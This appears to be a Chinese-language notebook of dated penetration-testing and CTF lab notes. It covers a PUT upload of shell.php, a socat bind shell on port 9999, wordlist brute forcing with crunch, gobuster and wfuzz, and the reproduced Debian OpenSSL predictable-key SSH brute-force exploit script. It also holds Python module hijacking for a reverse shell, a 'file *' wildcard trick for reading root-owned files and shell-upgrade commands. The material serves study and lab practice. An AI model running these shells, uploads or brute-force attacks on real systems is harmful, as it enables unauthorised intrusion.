902 日 , 2024 10:57:58
823 日 , 2024 20:14:02
curl 的options 方法 的作用,以及 put 方法上传文件漏洞

curl -v -X OPTIONS http://192.168.133.144 的作用是向服务器发送一个 HTTP OPTIONS 请求。

具体功能:

  • OPTIONS 方法:用于询问服务器针对特定 URL 支持哪些 HTTP 方法(如 GET、POST、DELETE 等)。可以帮助了解服务器的功能和允许的操作。
  • -v 参数:表示“verbose”,即详细模式,显示请求和响应的完整信息,包括请求头和响应头。

这是调试和了解服务器能力的一种方法。

curl --upload-file shell.php -v --url http://192.168.133.144/test/shell.php --http1.0 的作用是将本地的 shell.php 文件上传到指定的服务器路径(http://192.168.133.144/test/shell.php)。

具体功能:

  • –upload-file: 指定要上传的文件(这里是 shell.php)。
  • -v: 开启详细模式,显示详细的请求和响应信息。
  • –url: 指定目标 URL。
  • –http1.0: 使用 HTTP 1.0 协议进行通信。

此命令通常用于将文件上传到服务器的指定位置。

517 日 , 2024 15:46:34
socat 正向shell
 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork

这个命令将监听9999端口,并且每当有新的连接到来时,都会启动一个新的bash会话

  • fork:每当有新的客户端连接时,socat都会创建一个新的进程来处理该连接。
  • reuseaddr:允许服务器快速重新监听端口,即使之前的监听尚未完全关闭。
  • EXEC:'bash -li':执行bash shell,提供交互式登录。
  • pty:为连接提供伪终端,允许全屏编辑器如vim正常工作。
  • stderr:将标准错误重定向到标准输出。
  • setsid:启动一个新的会话。
  • sigint:确保Ctrl+C能被传递给执行的进程。
  • sane:使信号处理更合理。

 

516 日 , 2024 17:38:24
使用crunch 生成一个单词列表 用来爆破 数据库备份文件

 gobuster dir -u http://192.168.1.151:5655 --wordlist=./pinkdbcrunsh -x .db

 

 

 wfuzz -t 100 -w /tmp/wordlist -w /tmp/ext --sc=200 -c http://192.168.1.151:5655/FUZZ.FUZ2Z

 

 

需要生成一个 长度 在 3-5之间的 的单词列表  使用-f  加载一个字符集用来枚举  指定为小写字母

crunch  3 5  -f  /usr/share/crunch/charset.lst  lalpha -o pinkyadmin

/usr/share/crunch/charset.lst 是一个在 Linux 系统中 Crunch 密码破解工具使用的文件, Crunch 可以根据用户定义的字符集和长度规则生成大量的密码组合。

这个文件 charset.lst 包含了 Crunch 可以用于生成密码的各种字符集。每个字符集代表一组可能用于密码中的字符。例如,它可能包含小写字母、大写字母、数字、特殊字符等字符集。用户可以根据自己的需要选择和组合这些字符集来生成密码列表。

It looks like you’re using the crunch tool to generate wordlists. Let’s break down the command you’ve provided:
看起来您正在使用 crunch 工具来生成单词列表。让我们分解一下您提供的命令:

  • crunch: This is the command itself, used to generate wordlists.
    crunch :这是命令本身,用于生成单词列表。
  • 3 5: These numbers specify the minimum and maximum length of the words to be generated. In this case, it’s generating words with lengths ranging from 3 to 5 characters.
    3 5 :这些数字指定要生成的单词的最小和最大长度。在本例中,它生成长度为 3 到 5 个字符的单词。
  • -f /usr/share/crunch/charset.lst: This option specifies the character set to be used for generating words. It’s using a custom character set located at /usr/share/crunch/charset.lst.
    -f /usr/share/crunch/charset.lst :此选项指定用于生成单词的字符集。它使用位于 /usr/share/crunch/charset.lst 的自定义字符集。
  • lalpha: This option specifies that only lowercase alphabets should be used for generating words.
    lalpha :此选项指定仅使用小写字母来生成单词。
  • -o pinkdbcrunsh: This specifies the output file name. The wordlist will be saved in a file named pinkdbcrunsh.
    -o pinkdbcrunsh :指定输出文件名。单词列表将保存在名为 pinkdbcrunsh 的文件中。

So, the command is generating a wordlist containing lowercase alphabetical words with lengths ranging from 3 to 5 characters, using a custom character set, and saving the output to a file named pinkdbcrunsh.
因此,该命令使用自定义字符集生成一个包含小写字母单词、长度范围为 3 到 5 个字符的单词列表,并将输出保存到名为 pinkdbcrunsh 的文件中

511 日 , 2024 22:25:53
fork 函数在gdb调试时造成的困扰

在使用 GDB(GNU 调试器)调试程序时,fork() 可能会引起一些困扰,主要是因为 fork() 创建了新的子进程,而 GDB 默认只会跟踪一个进程。这可能会导致以下问题:

  1. 调试子进程: 默认情况下,GDB 会在调试器中继续跟踪父进程,而不是新创建的子进程。这就意味着如果想要调试子进程,需要手动在 GDB 中切换到子进程。可以使用 set follow-fork-mode 命令来控制 GDB 如何处理 fork() 调用,比如可以设置 set follow-fork-mode child 让 GDB 在 fork() 调用时跟踪子进程。
  2. 断点和状态同步: 当父进程调用 fork() 创建子进程时,GDB 的断点和状态可能会出现不同步的情况。比如,在子进程中可能会存在父进程设置的断点,而这些断点在默认情况下可能不会自动同步到子进程中。需要手动设置断点或者在子进程中执行 exec 命令来重新加载程序。
  3. 进程管理: 如果程序中有多次 fork() 调用,可能会涉及到多个子进程,而 GDB 默认只会跟踪一个进程。这就需要开发者手动切换到不同的进程进行调试。

总的来说,fork() 在 GDB 中的困扰主要是与进程管理、断点同步以及调试模式切换相关的问题

使用gdb调试的时候,gdb只能跟踪一个进程。可以在fork函数调用之前,通过指令设置gdb调试工具跟踪父进程或子进程。默认情况下gdb是跟踪父进程的。

show follow-fork-mode : 查看目前的跟踪模式。
set follow-fork-mode child : 命令设置gdb在fork之后跟踪子进程。
set follow-fork-mode parent : 设置跟踪父进程。
show detach-on-fork : 显示了目前是的detach-on-fork模式
set detach-on-fork on : 只调试父进程或子进程的其中一个(根据follow-fork-mode来决定),这是默认的模式。
set detach-on-fork off : 父子进程都在gdb的控制之下,其中一个进程正常调试(根据follow-fork-mode来决定),另一个进程会被设置为暂停状态。

 

 (gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) info functions

 

 

 

503 日 , 2024 15:30:00
prng &tar -j

tar

tar -vcxjf    5622.tar.bz2

  • -v –verbose 显示详细的tar处理的文件信息;
  • -c –create创建新的文档;
  • -x  –extract, –get 解压文件;
  • -j  –bzip2       通过 bzip2 来归档压缩文件;
  • -f –file 要操作的文件名。

PNRG(Pseudo-Random Number Generator)是一种伪随机数生成器,用于在计算机科学和密码学中生成近似随机的数字序列

OpenSSL 0.9.8c-1 < 0.9.8g-9

OpenSSL 0.9.8c-1 版本到 0.9.8g-9 版本之前的 Debian 系统存在一个漏洞。这个漏洞涉及到随机数生成器生成可预测的数字,从而使远程攻击者更容易对加密密钥进行暴力猜测攻击。

searchsploit prng

searchsploit -m linux/remote/5622.txt

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

tar -vcxjf    5622.tar.bz2

sudo grep -lr “此处写入公钥的部分内容”

找到公钥去掉后缀 就是私钥名   将私钥复制出来 就得到了  公钥的对应私钥

 ------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1) | multiple/remote/32673.java
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2) | multiple/remote/32674.cpp
LPRng (RedHat 7.0) - 'lpd' Format String | linux/remote/227.c
LPRng - use_syslog Remote Format String (Metasploit) | linux/remote/16842.rb
LPRng 3.6.22/23/24 - Remote Command Execution | linux/remote/226.c
LPRng 3.6.24-1 - Remote Command Execution | linux/remote/230.c
LPRng 3.6.x - Failure To Drop Supplementary Groups | unix/local/20923.c
LPRNG html2ps 1.0 - Remote Command Execution | unix/remote/21974.pl
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5720.py
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby) | linux/remote/5632.rb
------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.
This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.
On an unpatched system, which doesn't need to be debian, do the following:
keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***
1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
 (debian_ssh_rsa_2048_x86.tar.bz2)
2. Extract it to a directory
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@deadbeef.de\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
@a = ();
}
}5. Enjoy the shell after some minutes (less than 20 minutes)Regards,
Markus Mueller
mm@deadbeef.de

 

 

 

 

 

 

 

 

425 日 , 2024 23:42:37
httpie HTTP 客户端

HTTPie 是一个用户友好的命令行 HTTP 客户端,它提供了一种简单、快速的方式来发送 HTTP 请求。 它以其易用性、清晰的语法和人性化的输出格式而受到许多开发者的喜爱。 HTTPie 支持各种 HTTP 方法,包括 GET、POST、PUT、DELETE 等,并且能够处理 JSON、表单数据等请求体

  curl -X POST -H "Content-Type: application/json" -d "{\"Username\":\"admin\",\"Password\":\"admin\"}" http://127.0.0.1:5556/api/users/admin/init
 http POST 127.0.0.1:5556/api/users/admin/init Username="admin" Password="admin"
如果您使用 JSON 格式的数据, HTTPie 默认会发送一个 Content-Type: application/json头,在 curl 中,您需要显式地添加这个头,除非您使用 -G 参数或请求体中包含 URL 参数

如果 API 接受表单数据而不是 JSON,可以使用 --data-d 参数并使用

curl -X POST -d 'Username=admin&Password=df' http://127.0.0.1:5555/api/users/admin/init

使用 -d 参数时,我们没有设置 Content-Type: application/x-www-form-urlencoded 头,因为 curl 默认会添加这个头

 

以下是一些 HTTPie 的基本用法示例:

  1. GET 请求

     

    http GET example.org
  2. POST 请求 JSON 数据

     

    http POST example.org/people name=John age=30
  3. POST 请求表单数据

     

    http --form POST example.org/upload file@localfile.txt comment='My text file'
  4. PUT 请求

     

    http PUT example.org/todos/1 id=1 status=done
  5. DELETE 请求

     

    http DELETE example.org/todos/1
  6. 使用自定义 HTTP 头

     

    http GET example.org X-My-Header:123
  7. 下载文件

     

    http --download GET example.org/file.zip
  8. 显示请求和响应的详细信息

     

    http -v GET example.org
  9. 使用 JSON 格式发送数据

     

    http POST example.org/submit json
  10. 使用会话存储重复使用的请求参数

     

    http --session=logged-in POST example.org/login username=john password=secret
    http --session=logged-in GET example.org/protected
  11. 持久化会话

     

    http --session=logged-in -持久化会话参数 POST example.org/login username=john password=secret

HTTPie 还支持许多其他特性,如:

  • SSL/TLS 支持:可以很容易地发送 HTTPS 请求。
  • 认证:支持基本认证、摘要认证和 OAuth。
  • 代理支持:可以通过 HTTP 或 SOCKS 代理发送请求。
  • 自定义请求方法:可以发送自定义 HTTP 方法。
  • 文件上传:支持文件上传,包括多部分表单请求。
  • 响应保存:可以将响应保存到文件中。

HTTPie 的语法简洁,功能强大,是命令行中处理 HTTP 请求的一个很好选择

 

423 日 , 2024 0:06:30
.odt 文档中的宏利用

LibreOffice是一款替代Microsoft Word、Excel等的开源办公软件,有Calc、Writer等多种应用程序。支持的文件扩展名也多种多样,例如 .odf、.odp、odt (OpenDocument)、.odb (OpenOffice Base) 等。

Microsoft 创建了许多 Office 文档格式,主要有两种类型:OLE 格式(如 RTF、DOC、XLS、PPT)和Office Open XML (OOXML) 格式(如 DOCX、XLSX、PPTX)。这些格式可能包含宏,使其成为网络钓鱼和恶意软件的目标。 OOXML 文件的结构为 zip 容器,允许通过解压缩进行检查,显示文件和文件夹层次结构以及 XML 文件内容

 

422 日 , 2024 22:50:50
tmux 屏幕复用

tmux

 tmux  
ctrl+b   shift+"  分为上下两个屏幕
ctrl+b   shift+%  分为左右两个屏幕
Ctrl+b   z         放大一个屏幕/还原为多个屏幕分割
ctrl+b   ?         常用命令
ctrl+b   [         进入查看历史输出模式   q 退出

会话与进程

命令行的典型使用方式是,打开一个终端窗口(terminal window,以下简称”窗口”),在里面输入命令。用户与计算机的这种临时的交互,称为一次”会话”(session) 。

会话的一个重要特点是,窗口与其中启动的进程是连在一起的。打开窗口,会话开始;关闭窗口,会话结束,会话内部的进程也会随之终止,不管有没有运行完。

一个典型的例子就是,SSH 登录远程计算机,打开一个远程窗口执行命令。这时,网络突然断线,再次登录的时候,是找不回上一次执行的命令的。因为上一次 SSH 会话已经终止了,里面的进程也随之消失了。

为了解决这个问题,会话与窗口可以”解绑”:窗口关闭时,会话并不终止,而是继续运行,等到以后需要的时候,再让会话”绑定”其他窗口。

Tmux 就是会话与窗口的”解绑”工具,将它们彻底分离。

(1)它允许在单个窗口中,同时访问多个会话。这对于同时运行多个命令行程序很有用。

(2) 它可以让新窗口”接入”已经存在的会话。

(3)它允许每个会话有多个连接窗口,因此可以多人实时共享会话。

(4)它还支持窗口任意的垂直和水平拆分。

分离会话

在 Tmux 窗口中,按下Ctrl+b d或者输入tmux detach命令,就会将当前会话与窗口分离。


$ tmux detach

上面命令执行后,就会退出当前 Tmux 窗口,但是会话和里面的进程仍然在后台运行。

tmux ls命令可以查看当前所有的 Tmux 会话。


$ tmux ls
# or
$ tmux list-session

3.3 接入会话

tmux attach命令用于重新接入某个已存在的会话。


# 使用会话编号
$ tmux attach -t 0

# 使用会话名称
$ tmux attach -t <session-name>

3.4 杀死会话

tmux kill-session命令用于杀死某个会话。


# 使用会话编号
$ tmux kill-session -t 0

# 使用会话名称
$ tmux kill-session -t <session-name>

3.5 切换会话

tmux switch命令用于切换会话。


# 使用会话编号
$ tmux switch -t 0

# 使用会话名称
$ tmux switch -t <session-name>

3.6 重命名会话

tmux rename-session命令用于重命名会话。


$ tmux rename-session -t 0 <new-name>

上面命令将0号会话重命名。

会话快捷键

下面是一些会话相关的快捷键。

  • Ctrl+b d:分离当前会话。
  • Ctrl+b s:列出所有会话。
  • Ctrl+b $:重命名当前会话。

 

416 日 , 2024 0:32:43
wfuzz 子域名
  • -u: 这个选项后面跟着的是你想要测试的目标URL,这里是 careers.quick.hmv
  • -H: 这个选项用于添加自定义HTTP头。在这个例子中,它将添加一个 Host 头,其值为 FUZZ.quick.hmv。这是为了模拟HTTP请求中的 Host 头,并尝试找到与该 Host 头相关的子域名。

Use a custom [H]eader to fuzz subdomains while [h]iding specific response [c]odes and word counts. Increase the [t]hreads to 100 and include the target ip/domain:

wfuzz -w path/to/file -H “Host: FUZZ.example.com” –hc 301 –hw 222 -t 100 example.com

416 日 , 2024 0:25:35
/usr/share/seclists/ 字典目录

sudo apt install seclists

 

这些文件包含了用于安全测试和渗透测试的单词列表、密码、URL模式等。这些列表是由安全研究人员和渗透测试者使用的,用于帮助他们在测试网络和系统安全性时生成可能的用户名、密码、SQL注入payloads、目录结构

seclists 目录中可能包含以下类型的文件:

  • Usernames: 包含常见的用户名列表,用于在暴力破解攻击中尝试登录。
  • Passwords: 包含常见的密码列表,同样用于暴力破解攻击。
  • File-Names: 包含常见的文件名和目录名,用于目录遍历攻击的测试。
  • Common-Vulns: 包含常见的漏洞名称,用于漏洞扫描和测试。
  • SQL-Inj: 包含用于SQL注入测试的payloads和测试字符串。

tree -d /usr/share/seclists
/usr/share/seclists
├── Discovery
│   ├── DNS
│   ├── File-System
│   ├── Infrastructure
│   ├── Mainframe
│   ├── SNMP
│   ├── Variables
│   └── Web-Content
│   ├── api
│   ├── BurpSuite-ParamMiner
│   ├── CMS
│   │   └── trickest-cms-wordlist
│   ├── Domino-Hunter
│   ├── dutch
│   │   └── new
│   ├── SVNDigger
│   │   ├── cat
│   │   │   ├── Conf
│   │   │   ├── Database
│   │   │   ├── Language
│   │   │   └── Project
│   │   └── context
│   ├── trickest-robots-disallowed-wordlists
│   ├── URLs
│   └── Web-Services
├── Fuzzing
│   ├── 403
│   ├── Amounts
│   ├── Databases
│   ├── LFI
│   ├── Polyglots
│   ├── SQLi
│   ├── User-Agents
│   │   ├── hardware-type-specific
│   │   ├── layout-engine-name
│   │   ├── operating-platform
│   │   ├── operating-system-name
│   │   ├── software-name
│   │   └── software-type-specific
│   └── XSS
│   ├── human-friendly
│   └── robot-friendly
├── IOCs
├── Miscellaneous
│   ├── EFF-Dice
│   ├── list-of-swear-words
│   ├── Moby-Project
│   │   ├── Moby-Language-II
│   │   ├── Moby-Thesaurus-II
│   │   └── Moby-Words-II
│   ├── n0kovo_danish-wordlists
│   ├── security-question-answers
│   │   ├── us-colleges
│   │   ├── us-private-schools
│   │   └── us-public-schools
│   ├── source-code
│   │   └── c-linux
│   └── web
│   └── http-request-headers
├── Passwords
│   ├── BiblePass
│   ├── Books
│   ├── Common-Credentials
│   ├── Cracked-Hashes
│   ├── Default-Credentials
│   ├── Honeypot-Captures
│   ├── Keyboard-Walks
│   ├── Leaked-Databases
│   ├── Malware
│   ├── Permutations
│   ├── php-hashes
│   │   ├── floating_comp
│   │   ├── plaintext
│   │   ├── pre-hashed
│   │   └── truncated
│   ├── Software
│   ├── WiFi-WPA
│   └── Wikipedia
├── Pattern-Matching
│   └── Source-Code-(PHP)
├── Payloads
│   ├── Anti-Virus
│   ├── File-Names
│   │   ├── exec
│   │   └── null-byte
│   ├── Flash
│   ├── Images
│   ├── Zip-Bombs
│   └── Zip-Traversal
├── Usernames
│   ├── Honeypot-Captures
│   └── Names
└── Web-Shells
├── CFM
├── FuzzDB
├── JSP
├── laudanum-1.0
│   ├── asp
│   ├── aspx
│   ├── cfm
│   ├── jsp
│   │   └── warfiles
│   │   ├── META-INF
│   │   └── WEB-INF
│   ├── php
│   └── wordpress
│   └── templates
├── Magento
├── PHP
├── Vtiger
│   ├── languages
│   │   └── en_us
│   │   └── Settings
│   ├── modules
│   │   └── VtigerVulnPlugin
│   │   └── actions
│   └── settings
│   └── actions
└── WordPress

 

415 日 , 2024 0:33:53
python 劫持利用

一、模块文件可以更改

当一个python 文件中 import 一个模块例如:

import os

首先  找到 os 所在文件夹

python #进入python命令行
import os #导入模块
print(os.__file__)  #查看路径
/usr/lib/python3.11/os.py

然后修改 os.py  写入反弹shell

二、python 的模块导入路径

漏洞基于Python库路径的优先级顺序

如果在与原始脚本相同的目录下存在一个Python模块文件,它将获得优先于默认路径的地位

 

三、sudo 中setenv 权限 修改  python 的导入路径

SETENV是个可以改变Python PATH环境变量的值

我们可以用root权限使用SETENV,这意味着我们可以用它来改变导入模块的优先顺序

sudo PYTHONPATH=/tmp  /usr/bin/python  xxxxxx

setenv PYTHONPATH /path/to/your/python/modules:$PYTHONPATH

 

 

412 日 , 2024 22:10:25
file 参数提权 &Linux shell中命令执行的逻辑

一、file 参数提权

当高权限文件 中有 file  *  命令,可以read_file提权

file *   #查看所有文件的类型
ln -sv /root/root.txt root   #root  指向/root/root.txt
file  -f root    #查看root中的内容
 ls
+ ls --color=auto
-f root user.txt
 file *
+ file -f root user.txt
a2b3946358a96bb7a92f61a759a1d972: cannot open `a2b3946358a96bb7a92f61a759a1d972' (No such file or directory)
user.txt: ASCII text

二、Linux  shell 中命令执行

set

命令可以用来设置 shell 的行为特性。其中,-x 选项可以在执行脚本或者命令时显示所有的命令以及它们的参数,这样可以帮助你看到命令执行的每一步,然后执行你的命令序列。执行完毕后,使用 set +x 来关闭调试输出

strace

用来跟踪程序执行时的系统调用和接收到的信号。通过 strace,你可以看到命令执行过程中与内核交互的详细信息

可以看到上面 file *  中,因为 *指代 的文件的文件名 被认为设计为参数的样子

file -f root   被执行了

这是什么原理?  * 指代的文件名被全部写到命令行中,然后当成一整个命令执行。

411 日 , 2024 0:07:16
hashcat 密码规则脚本

hashcat –stdout pass.txt -r ./OneRuleToRuleThemStill.rule > pass

john –wordlist pass  hash

pass.txt中 ,大小写是需要区别的

410 日 , 2024 21:28:53
url中带用户名和密码&shell

一、url中带用户名和密码

在URL中使用boxing:pass@192.168.56.5的形式表示将用户名和密码嵌入到URL中, 这通常用于HTTP Basic Authentication(基本身份验证)。

当你在浏览器或命令行中输入这样的URL时,系统会尝试使用提供的用户名和密码进行身份验证。这种方式的URL格式如下所示:

 http://username:password@hostname:port/path
  • username:password是你的用户名和密码,用冒号分隔;
  • hostname是主机名或IP地址;
  • port是端口号(如果省略,默认是80);
  • path是资源的路径。

这种方式虽然简单,但在安全性方面有一些问题。因为用户名和密码会直接暴露在URL中,容易被拦截或截获,因此不建议在生产环境中使用

二、shell相关内容

/usr/bin/script -qc /bin/bash /dev/null

/usr/bin/script:这是script命令的路径。script是一个用于记录shell会话的实用工具,它可以记录你在终端输入的命令以及输出结果
  • -q--quiet:这个选项让script命令在执行时不输出任何信息到标准错误(stderr)。这意味着在记录会话时,不会显示任何与script相关的提示信息。
  • -c:这个选项后面通常跟一个要执行的命令。script会启动一个新的shell,并在这个shell中执行这个命令。
/bin/bash:这是要执行的命令,也就是bash shell。script会启动一个新的bash会话,并记录这个会话中的所有活动 所有通过script命令启动的bash会话的输出(包括标准输出stdout和标准错误stderr)都被重定向到了/dev/null,因此不会有任何内容显示在终端或者被记录到文件中

stty raw –echo;fg

reset

xterm

 

410 日 , 2024 1:41:41
lsof & 打开文件缓冲区&、proc

lsof是一个用于列出系统中打开文件的工具。它的名字来自”list open files”

lsof命令可以展示当前正在被打开的文件列表,包括网络套接字(网络连接)、管道、设备文件、以及普通文件等等

常用的lsof选项包括:

  • -i: 显示网络套接字信息,用于列出网络连接的相关信息。
  • -p <PID>: 显示指定进程ID的打开文件列表。
  • -u <USER>: 显示指定用户打开的文件列表。
  • -c <COMMAND>: 显示指定命令打开的文件列表。
  • -t: 仅显示进程ID(不显示其他信息),用于脚本处理

列出所有正在使用网络连接的进程 lsof -i:port

列出特定进程ID(比如PID为1234)打开的文件列表 lsof  -p id

每当打开一个文件就会开启一个管道  文件在管道中缓冲   读取一个之后就没了   close之后也没了

在/proc/{uid} 目录下 有一个fd   可以看到当前打开文件的管道

使用  cat <& 3   读取

409 日 , 2024 20:34:34
z3

Z3 是一个微软出品的开源约束求解器,能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题(可以简单理解为解方程的感觉,虽然这么比喻其实还差距甚远,请勿吐槽),功能强大且易于使用。

 

Z3 内置了多种变量类型,基本能覆盖常见计算机数据结构。包括整数、浮点数、BitVector、数组等。

from z3 import *
 x = Int('x')
 y = Int('y')
 solve(x > 2, y < 10, x + 2*y == 7) 

运行一下结果:

(z3env) $ python example.py 
[y = 0, x = 7] 

调用了 solve 函数求解三个条件下的满足模型,这三个条件分别是 x 大于 2,y 小于 10,并且 x 加 2 个 y 等于 7

Z3 在默认情况下,只寻找满足所有条件的一组解,而不是找出所有解

 from  z3 import *
a=[Int('a[%d]'%i) for i in range(26)]  #添加变量:使用Z3 Solver创建了一个包含26个整数变量的列表。每个变量的名称都是'a[i]',其中'i'是从0到25的整数
solver = Solver()                    #Solver对象是Z3的一个核心组件,它允许你描述和解决逻辑和算术约束
solver.add(len(a[])==26)    
solver.add(a[0] - a[20] == -10)
solver.add(a[6] + a[1] == 208)
solver.add(a[2] - a[4] == 10)
solver.add(a[3] - a[14] == -2)
solver.add(a[25] * a[4] == 10100)
solver.add(a[17] + a[5] == 219)
solver.add(a[6] - a[10] == -11)
solver.add(a[7] - a[20] == -10)
solver.add(a[17] * a[8] == 11845)
solver.add(a[9] - a[18] == -7)
solver.add(a[10] - a[24] == 1)
solver.add(a[4] * a[11] == 9797)
solver.add(a[12] - a[3] == 3)
solver.add(a[11] * a[13] == 11252)
solver.add(a[14] - a[13] == -2)
solver.add(a[15] == a[23])
solver.add(a[16] - a[8] == -5)
solver.add(a[7] * a[17] == 10815)
solver.add(a[18] - a[14] == -2)
solver.add(a[19] - a[0] == -8)
solver.add(a[20] - a[23] == 4)
solver.add(a[7] + a[21] == 220)
solver.add(a[22] - a[1] == 15)
solver.add(a[23] == a[15])
solver.add(a[2] * a[24] == 12654)
solver.add(a[25] - a[12] == -15)
solver.add(a[0] - a[20] == -10)
solver.add(a[6] + a[1] == 208)
solver.add(a[2] - a[4] == 10)
solver.add(a[3] - a[14] == -2)
solver.add(a[25] * a[4] == 10100)
solver.add(a[17] + a[5] == 219)
solver.add(a[6] - a[10] == -11)
solver.add(a[7] - a[20] == -10)
solver.add(a[17] * a[8] == 11845)
solver.add(a[9] - a[18] == -7)
solver.add(a[10] - a[24] == 1)
solver.add(a[4] * a[11] == 9797)
solver.add(a[12] - a[3] == 3)
solver.add(a[11] * a[13] == 11252)
solver.add(a[14] - a[13] == -2)
solver.add(a[15] == a[23])
solver.add(a[16] - a[8] == -5)
solver.add(a[7] * a[17] == 10815)
solver.add(a[18] - a[14] == -2)
solver.add(a[19] - a[0] == -8)
solver.add(a[20] - a[23] == 4)
solver.add(a[7] + a[21] == 220)
solver.add(a[22] - a[1] == 15)
solver.add(a[23] == a[15])
solver.add(a[2] * a[24] == 12654)
solver.add(a[25] - a[12] == -15)
if solver.check() == sat:
    model = solver.model()
    result = ''
    for i in range(26):
        result += chr(model[a[i]].as_long())
    print('[+] found:{}'.format(result))
else:
    print('[-]not fount')

安装z3

2543 sudo apt install build-essential python3-dev 
2544 git clone https://github.com/Z3Prover/z3.git 
2545 cd z3 2546 python3 scripts/mk_make.py --python 
2547 cd build 2548 make 
2549 sudo make install 
2550 ipython3
408 日 , 2024 23:09:55
wfuzz 添加cookie

wfuzz 中使用 cookie 可以通过 -b 参数实现。例如:

wfuzz -c -b "cookie1=value1; cookie2=value2" -w wordlist.txt -d "param1=FUZZ&param2=value" http://example.com/path/to/endpoint

这里 -b 参数用于设置 cookie,你需要将 cookie1=value1; cookie2=value2 替换为你实际的 cookie 值。注意 cookie 的格式是 cookie_name=cookie_value,多个 cookie 之间用分号和空格分隔。

使用 -c 参数可以忽略 SSL 错误。

-w 参数用于指定字典文件,用于 fuzzing 的 payload。

-d 参数用于设置 POST 请求的数据,其中 FUZZ 表示 fuzzing 的位置,param2=value 表示固定的 POST 参数。

最后的 http://example.com/path/to/endpoint 是目标 URL。

这样的命令将会使用 wfuzz 发送包含 cookie 的 POST 请求,并对 FUZZ 位置进行 fuzzing

407 日 , 2024 15:45:35

一、rot密码其实可以看作是凯撒密码的一种变式 本质都是移位运算

rot13 和rot47 的区别在与 移位的ascill字符的范围 后者包括了特殊字符

rot密码按种类大致分为以下几类

rot5:只将字符串中的数字进行加密,步数为5,同时在0-9十个数字进行循环,如1在rot5加密
rot18:字面意思(5+13=18) 即将上述两种加密方式结合,分别对数字和字母进行相应的操作
rot13:只将字符串中的字母进行加密,步数为13,加密方式上最接近凯撒密码,分别在A-Z或a-z之间循环,如A在rot13加密后为N,Z在rot13加密后为M
rot47:由于无论是rot5、rot13或rot18都只能对数字和字母进行相应的加密,而对“!@#¥%&”之类的符号却缺少加密,因此在此基础上引入ASCII码(对应图表见下)

如果理解了上面的rot5、rot13、rot18,那么rot47也相当好理解了,只是将步数改为47而已(同样存在循环)

对数字、字母、常用符号进行编码,按照它们的ASCII值进行位置替换,用当前字符ASCII值往前数的第47位对应字符替换当前字符,例如当前为小写字母z,编码后变成大写字母K,当前为数字0,编码后变成符号

 

注意:用于ROT47编码的字符其ASCII值范围是33-126(原因是由于0-32以及127与字符表示无关!!)

 

 

 

406 日 , 2024 12:52:03
ssh Escape Sequences

一、 Escape Sequences

 Escape Sequences是SSH客户端的一个功能,用于在SSH会话中执行一些特定的操作,比如打开一个新的终端或者传输文件。

Use escape sequences to manage your client terminal session. Escape sequences are recognized only after a newline character. If you have just logged in, press Enter before you enter your first escape sequence. You can configure an alternate escape character using -eon the command line or EscapeChar in the configuration file.

The following escape sequences are available. These are shown with the default escape character, a tilde (~).

 ~. Terminates the connection.
~^Z Suspends ssh.
~# Lists active forwarded connections. Note: Forwarded connections are listed only when the ports are actually transmitting data.
~- Disables use of the escape character for the duration of the session.
~? Displays a list of available escape sequences.
~~ Sends the escape character to the host. (Type the escape character twice to send one escape character.)

~C Execute command mode, which you can use to request port forwarding. The options are:

 -L[bind_address:]port:host:hostport    Request local forward
-R[bind_address:]port:host:hostport    Request remote forward
-KL[bind_address:]port                 Cancel local forward
 -KR[bind_address:]port                 Cancel remote forward
 ~V Sends version information to stderr.
~s Sends connection information to stderr.
~r Initiates an immediate key exchange to establish new encryption and integrity keys.
~l Enters line mode. Keystrokes are stored to a buffer and output when you press Enter.
~B Sends a BREAK to the remote system.

二、配置文件/etc/ssh/sshd_config

配置文件中有一些关于SSH服务器的设置,例如端口、协议版本、认证方式等。在这个配置中,使用了UsePAM no来禁用PAM(Pluggable Authentication Modules)认证。PAM是用于管理应用程序的认证模块,它可以增强系统的安全性和灵活性,但在某些情况下可能导致一些命令或功能受限。

  1. js : -o EnableEscapeCommandline=yes
331 日 , 2024 1:02:21